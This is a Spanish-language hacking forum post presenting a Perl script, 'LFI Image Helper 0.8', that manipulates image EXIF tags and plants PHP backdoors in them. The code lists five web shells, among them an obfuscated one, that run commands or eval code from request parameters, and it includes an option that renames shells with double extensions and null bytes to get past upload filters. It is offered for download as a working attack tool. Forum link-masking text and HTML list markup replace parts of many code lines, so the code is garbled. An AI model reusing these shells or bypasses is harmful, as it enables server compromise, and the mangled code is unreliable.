[Perl] LFI Image Helper 0.8

  • 0 Respuestas
  • 3311 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] LFI Image Helper 0.8

  • en: Mayo 08, 2015, 04:05:02 am
Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :

  • Listar todos los Tags de la imagen con contenido[/li]
  • Listar solo los Tags[/li]
  • Leer el valor de cierto Tag[/li]
  • Crear un Tag nuevo[/li]
  • Editar un Tag[/li]
  • Borrar un Tag[/li]
  • Infectar una imagen con un backdoor conocido en PHP[/li][/list]

    El codigo :

    Código: Perl
    1. #!usr/bin/perl
    2. #LFI Image Helper 0.8
    3. #(C) Doddy Hackman 2015
    4. #ppm install  http://trouchelle.com/ppm/Image-ExifTool.ppd
    5. #
    6. #Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
    7. #Thanks to Hood3dRob1n
    8. #
    9. #Dump Values
    10. #Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
    11. #Thanks to Ken Slater
    12. #
    13. use Image::ExifTool;
    14. use Getopt::Long;
    15. use Color::Output;
    16. Color::Output::Init;
    17.  
    18. my @shells = (
    19.  
    20.     {},
    21.  
    22.     {
    23.  
    24.         "nombre"  => "Simple Backdoor",
    25.         "codigo"  => '<?php system($_GET["cmd"]);exit(1); ?>',
    26.         "ejemplo" => "?cmd="
    27.  
    28.     },
    29.     {
    30.  
    31.         "nombre" => "System Shell",
    32.         "codigo" =>
    33. '<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>',
    34.         "ejemplo" => "?cmd="
    35.  
    36.     },
    37.     {
    38.  
    39.         "nombre" => "Eval Shell",
    40.         "codigo" =>
    41. '<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>',
    42.         "ejemplo" => "?cmd="
    43.  
    44.     },
    45.     {
    46.  
    47.         "nombre" => "Sneaky Shell",
    48.         "codigo" =>
    49. '<?php @$_[][email protected]!+_; [email protected]${_}>>$_;$_[]=$__;$_[][email protected]_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>',
    50.         "ejemplo" => "?0="
    51.  
    52.     },
    53.     {
    54.  
    55.         "nombre" => "r0ng Shell",
    56.         "codigo" =>
    57.           '<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>',
    58.         "ejemplo" => "?r0ng="
    59.  
    60.     }
    61.  
    62. );
    63.  
    64. GetOptions(
    65.     "dump_all=s"   => \$dump_all,
    66.     "dump_tags=s"  => \$dump_tags,
    67.     "read_tag=s"   => \$read_tag,
    68.     "tag=s"        => \$tag,
    69.     "make_tag=s"   => \$make_tag,
    70.     "value=s"      => \$value,
    71.     "update_tag=s" => \$update_tag,
    72.     "delete_tag=s" => \$delete_tag,
    73.     "backdoor=s"   => \$backdoor,
    74.     "bypass=s"     => \$bypass,
    75.     "file=s"       => \$file
    76. );
    77.  
    78. head();
    79.  
    80. if ($dump_all) {
    81.  
    82.     if ( -f $dump_all ) {
    83.         printear_titulo("</li><li type="square"> Finding information in : ");[/li][/list]
    84.         You are not allowed to view links. Register or Login $dump_all. "\n\n";
    85.         dump_all($dump_all);
    86.     }
    87.     else {
    88.         printear("[-] File not found\n");
    89.     }
    90.  
    91. }
    92. elsif ($dump_tags) {
    93.  
    94.     if ( -f $dump_tags ) {
    95.         printear_titulo("</li><li type="square"> Finding tags in : ");[/li][/list]
    96.         You are not allowed to view links. Register or Login $dump_tags. "\n\n";
    97.         dump_tags($dump_tags);
    98.     }
    99.     else {
    100.         printear("[-] File not found\n");
    101.     }
    102. }
    103. elsif ($read_tag) {
    104.  
    105.     if ( -f $read_tag ) {
    106.         printear_titulo("</li><li type="square"> Finding tag value of $tag in : ");[/li][/list]
    107.         You are not allowed to view links. Register or Login $read_tag. "\n\n";
    108.         read_tag( $read_tag, $tag );
    109.     }
    110.     else {
    111.         printear("[-] File not found\n");
    112.     }
    113.  
    114. }
    115.  
    116. elsif ($make_tag) {
    117.  
    118.     if ( -f $make_tag ) {
    119.  
    120.         printear_titulo("</li><li type="square"> Photo : ");[/li][/list]
    121.         You are not allowed to view links. Register or Login $make_tag. "\n";
    122.         printear_titulo("</li><li type="square"> Name : ");[/li][/list]
    123.         You are not allowed to view links. Register or Login $tag. "\n";
    124.         printear_titulo("</li><li type="square"> Value : ");[/li][/list]
    125.         You are not allowed to view links. Register or Login $value. "\n\n";
    126.  
    127.         printear("</li><li type="square"> Making tag $tag ...\n\n");[/li][/list]
    128.  
    129.         make_tag( $make_tag, $tag, $value );
    130.  
    131.     }
    132.     else {
    133.         printear("[-] File not found\n");
    134.     }
    135. }
    136. elsif ($update_tag) {
    137.  
    138.     if ( -f $update_tag ) {
    139.  
    140.         printear_titulo("</li><li type="square"> Photo : ");[/li][/list]
    141.         You are not allowed to view links. Register or Login $update_tag. "\n";
    142.         printear_titulo("</li><li type="square"> Name : ");[/li][/list]
    143.         You are not allowed to view links. Register or Login $tag. "\n";
    144.         printear_titulo("</li><li type="square"> Value : ");[/li][/list]
    145.         You are not allowed to view links. Register or Login $value. "\n\n";
    146.  
    147.         printear("</li><li type="square"> Updating tag $tag ...\n\n");[/li][/list]
    148.  
    149.         update_tag( $update_tag, $tag, $value );
    150.  
    151.     }
    152.     else {
    153.         printear("[-] File not found\n");
    154.     }
    155. }
    156. elsif ($delete_tag) {
    157.  
    158.     if ( -f $delete_tag ) {
    159.         printear_titulo("</li><li type="square"> Deleting tag $tag in : ");[/li][/list]
    160.         You are not allowed to view links. Register or Login $delete_tag. "\n\n";
    161.         delete_tag( $delete_tag, $tag );
    162.     }
    163.     else {
    164.         printear("[-] File not found\n");
    165.     }
    166.  
    167. }
    168. elsif ($backdoor) {
    169.  
    170.     if ( -f $backdoor ) {
    171.  
    172.         printear_titulo("</li><li type="square"> Photo : ");[/li][/list]
    173.         You are not allowed to view links. Register or Login $backdoor. "\n\n";
    174.  
    175.         printear("</li><li type="square"> 1 : ");[/li][/list]
    176.         You are not allowed to view links. Register or Login "Simple Backdoor\n";
    177.         printear("</li><li type="square"> 2 : ");[/li][/list]
    178.         You are not allowed to view links. Register or Login "System Shell\n";
    179.         printear("</li><li type="square"> 3 : ");[/li][/list]
    180.         You are not allowed to view links. Register or Login "Eval Shell\n";
    181.         printear("</li><li type="square"> 4 : ");[/li][/list]
    182.         You are not allowed to view links. Register or Login "Sneaky Shell\n";
    183.         printear("</li><li type="square"> 5 : ");[/li][/list]
    184.         You are not allowed to view links. Register or Login "r0ng Shell\n";
    185.  
    186.         printear_titulo("\n</li><li type="square"> Option : ");[/li][/list]
    187.         You are not allowed to view links. Register or Login( my $opcion = <stdin> );
    188.  
    189.         backdoor_tag( $backdoor, $opcion, $file );
    190.  
    191.     }
    192.     else {
    193.         printear("[-] File not found\n");
    194.     }
    195.  
    196. }
    197. elsif ($bypass) {
    198.  
    199.     if ( -f $bypass ) {
    200.  
    201.         my $source = readfile($bypass);
    202.  
    203.         printear_titulo("</li><li type="square"> PHP Shell : ");[/li][/list]
    204.         You are not allowed to view links. Register or Login $bypass. "\n\n";
    205.  
    206.         printear("</li><li type="square"> 1 : ");[/li][/list]
    207.         You are not allowed to view links. Register or Login "bypass.jpg.php\n";
    208.         printear("</li><li type="square"> 2 : ");[/li][/list]
    209.         You are not allowed to view links. Register or Login "bypass.php;test.jpg\n";
    210.         printear("</li><li type="square"> 3 : ");[/li][/list]
    211.         You are not allowed to view links. Register or Login "bypass.php%00.jpg\n";
    212.  
    213.         printear_titulo("\n</li><li type="square"> Option : ");[/li][/list]
    214.         You are not allowed to view links. Register or Login( my $opcion = <stdin> );
    215.  
    216.         if ( $opcion eq "1" ) {
    217.             savefile( $file . ".jpg.php", $source );
    218.             You are not allowed to view links. Register or Login 0777, $file . ".jpg.php";
    219.         }
    220.         elsif ( $opcion eq "2" ) {
    221.             savefile( $file . ".php;test.jpg", $source );
    222.             You are not allowed to view links. Register or Login 0777, $file . ".php;test.jpg";
    223.         }
    224.         elsif ( $opcion eq "3" ) {
    225.             savefile( $file . ".php%00.jpg", $source );
    226.             You are not allowed to view links. Register or Login 0777, $file . ".php%00.jpg";
    227.         }
    228.         else {
    229.             savefile( $file . ".jpg.php", $source );
    230.             You are not allowed to view links. Register or Login 0777, $file . ".jpg.php";
    231.         }
    232.  
    233.         printear("\n</li><li type="square"> PHP Shell Bypassed\n");[/li][/list]
    234.  
    235.     }
    236.     else {
    237.         printear("\n[-] File not found\n");
    238.     }
    239.  
    240. }
    241. else {
    242.     sintax();
    243. }
    244.  
    245. copyright();
    246.  
    247. # Functions
    248.  
    249. sub backdoor_tag {
    250.  
    251.     my $image  = $_[0];
    252.     my $opcion = $_[1];
    253.     my $final  = $_[2];
    254.  
    255.     my $tag     = "Model";
    256.     my $nombre  = $shells[$opcion]->{nombre};
    257.     my $valor   = $shells[$opcion]->{codigo};
    258.     my $ejemplo = $shells[$opcion]->{ejemplo};
    259.  
    260.     printear("\n</li><li type="square"> Backdoor Name : ");[/li][/list]
    261.     You are not allowed to view links. Register or Login "$nombre\n";
    262.     printear("</li><li type="square"> Backdoor Example : ");[/li][/list]
    263.     You are not allowed to view links. Register or Login "$ejemplo\n";
    264.  
    265.     my $datos_imagen       = new Image::ExifTool;
    266.     my $informacion_imagen = $datos_imagen->ImageInfo($image);
    267.  
    268.     $datos_imagen->SetNewValue( $tag, $valor );
    269.  
    270.     You are not allowed to view links. Register or Login($final);
    271.  
    272.     $ok = $datos_imagen->WriteInfo( $image, $final );
    273.  
    274.     if ( $ok eq "1" ) {
    275.         printear_titulo("\n</li><li type="square"> Backdoor : ");[/li][/list]
    276.         You are not allowed to view links. Register or Login "OK\n";
    277.         You are not allowed to view links. Register or Login 0777, $final;
    278.     }
    279.     else {
    280.         printear_titulo("\n[-] Backdoor: ");
    281.         You are not allowed to view links. Register or Login "Error\n";
    282.     }
    283.  
    284. }
    285.  
    286. sub delete_tag {
    287.  
    288.     my $imagen_target = $_[0];
    289.     my $tag           = $_[1];
    290.  
    291.     my $datos_imagen       = new Image::ExifTool;
    292.     my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
    293.  
    294.     $datos_imagen->SetNewValue( $tag, You are not allowed to view links. Register or Login );
    295.  
    296.     $ok = $datos_imagen->WriteInfo($imagen_target);
    297.  
    298.     if ( $ok eq "1" ) {
    299.         printear_titulo("</li><li type="square"> Tag $tag : ");[/li][/list]
    300.         You are not allowed to view links. Register or Login "Deleted\n";
    301.     }
    302.     else {
    303.         printear_titulo("[-] Tag $tag : ");
    304.         You are not allowed to view links. Register or Login "Error\n";
    305.     }
    306.  
    307. }
    308.  
    309. sub update_tag {
    310.  
    311.     my $image = $_[0];
    312.     my $tag   = $_[1];
    313.     my $valor = $_[2];
    314.  
    315.     my $datos_imagen       = new Image::ExifTool;
    316.     my $informacion_imagen = $datos_imagen->ImageInfo($image);
    317.  
    318.     $datos_imagen->SetNewValue( $tag, $valor );
    319.  
    320.     $ok = $datos_imagen->WriteInfo($image);
    321.  
    322.     if ( $ok eq "1" ) {
    323.         printear_titulo("</li><li type="square"> Tag $tag : ");[/li][/list]
    324.         You are not allowed to view links. Register or Login "Updated\n";
    325.     }
    326.     else {
    327.         printear_titulo("[-] Tag $tag : ");
    328.         You are not allowed to view links. Register or Login "Error\n";
    329.     }
    330.  
    331. }
    332.  
    333. sub make_tag {
    334.  
    335.     my $image = $_[0];
    336.     my $name  = $_[1];
    337.     my $value = $_[2];
    338.  
    339.     my $poc = Image::ExifTool->new();
    340.  
    341.     $poc->ExtractInfo($image);
    342.     $poc->SetNewValue( $name, $value );
    343.  
    344.     $ok = $poc->WriteInfo($image);
    345.  
    346.     if ( $ok eq "1" ) {
    347.         printear_titulo("</li><li type="square"> Tag $name : ");[/li][/list]
    348.         You are not allowed to view links. Register or Login "Created\n";
    349.     }
    350.     else {
    351.         printear_titulo("[-] Tag $name : ");
    352.         You are not allowed to view links. Register or Login "Error\n";
    353.     }
    354.  
    355. }
    356.  
    357. sub read_tag {
    358.  
    359.     $imagen_target = $_[0];
    360.     $tag           = $_[1];
    361.  
    362.     my $datos_imagen       = new Image::ExifTool;
    363.     my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
    364.  
    365.     $valor = $datos_imagen->GetValue($tag);
    366.  
    367.     if ( $valor eq "" ) {
    368.         printear("[-] Tag not found\n");
    369.     }
    370.     else {
    371.         printear("</li><li type="square"> $tag : ");[/li][/list]
    372.         You are not allowed to view links. Register or Login $valor. "\n";
    373.     }
    374.  
    375. }
    376.  
    377. sub dump_tags {
    378.  
    379.     my $imagen_target = $_[0];
    380.  
    381.     my $datos_imagen       = new Image::ExifTool;
    382.     my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
    383.  
    384.     @tags = $datos_imagen->GetFoundTags("File");
    385.  
    386.     for my $tag (@tags) {
    387.         printear("</li><li type="square"> Tag : ");[/li][/list]
    388.         You are not allowed to view links. Register or Login $tag. "\n";
    389.     }
    390.  
    391. }
    392.  
    393. sub dump_all {
    394.  
    395.     my $imagen_target = $_[0];
    396.  
    397.     my $datos_imagen       = new Image::ExifTool;
    398.     my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);
    399.  
    400.     for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
    401.         my $valor = $informacion_imagen->{$abriendo_imagen};
    402.         printear("</li><li type="square"> $abriendo_imagen : ");[/li][/list]
    403.         You are not allowed to view links. Register or Login $valor. "\n";
    404.     }
    405.  
    406. }
    407.  
    408. sub savefile {
    409.     You are not allowed to view links. Register or Login( SAVE, ">>" . $_[0] );
    410.     You are not allowed to view links. Register or Login SAVE $_[1] . "\n";
    411.     You are not allowed to view links. Register or Login SAVE;
    412. }
    413.  
    414. sub readfile {
    415.     You are not allowed to view links. Register or Login my $FILE, You are not allowed to view links. Register or Login[<], $_[0];
    416.     my $word = You are not allowed to view links. Register or Login You are not allowed to view links. Register or Login[], <$FILE>;
    417.     You are not allowed to view links. Register or Login $FILE;
    418.     You are not allowed to view links. Register or Login $word;
    419. }
    420.  
    421. sub printear {
    422.     cprint( "\x036" . $_[0] . "\x030" );
    423. }
    424.  
    425. sub printear_logo {
    426.     cprint( "\x037" . $_[0] . "\x030" );
    427. }
    428.  
    429. sub printear_titulo {
    430.     cprint( "\x0310" . $_[0] . "\x030" );
    431. }
    432.  
    433. sub sintax {
    434.  
    435.     printear("</li><li type="square"> Sintax : ");[/li][/list]
    436.     You are not allowed to view links. Register or Login "perl $0 <option> <value>\n";
    437.     printear("\n</li><li type="square"> Options : \n\n");[/li][/list]
    438.     You are not allowed to view links. Register or Login "-dump_all <image> : Get all information of a image\n";
    439.     You are not allowed to view links. Register or Login "-dump_tags <image> : Get all tags of a image\n";
    440.     You are not allowed to view links. Register or Login "-read_tag <image> -tag <tag> : Read value tags of a image\n";
    441.     You are not allowed to view links. Register or Login "-make_tag <image> -tag <tag> -value <value> : Make a new tag\n";
    442.     You are not allowed to view links. Register or Login "-update_tag <image> -tag <tag> -value <value> : Update tag\n";
    443.     You are not allowed to view links. Register or Login "-delete_tag <image> -tag <tag> : Delete tag\n";
    444.     You are not allowed to view links. Register or Login "-backdoor <image> -file <name> : Insert backdoor in a image\n";
    445.     You are not allowed to view links. Register or Login
    446. "-bypass <php shell> -file <name> : Rename extension of a image to bypass\n";
    447.     printear("\n</li><li type="square"> Example : ");[/li][/list]
    448.     You are not allowed to view links. Register or Login "perl lfi_image_helper.pl -dump_all test.jpg\n";
    449.     copyright();
    450. }
    451.  
    452. sub head {
    453.     printear_logo("\n-- == LFI Image Helper 0.8 == --\n\n\n");
    454. }
    455.  
    456. sub copyright {
    457.     printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
    458.     You are not allowed to view links. Register or Login(1);
    459. }
    460.  
    461. sub toma {
    462.     You are not allowed to view links. Register or Login $nave->get( $_[0] )->content;
    463. }
    464.  
    465. #The End ?
    466.  

    Un video con ejemplos de uso :



    Si quieren bajar el programa lo pueden hacer de aca :

    You are not allowed to view links. Register or Login.
    You are not allowed to view links. Register or Login.

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5211
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3428
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 2568
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 2576
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 2569
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX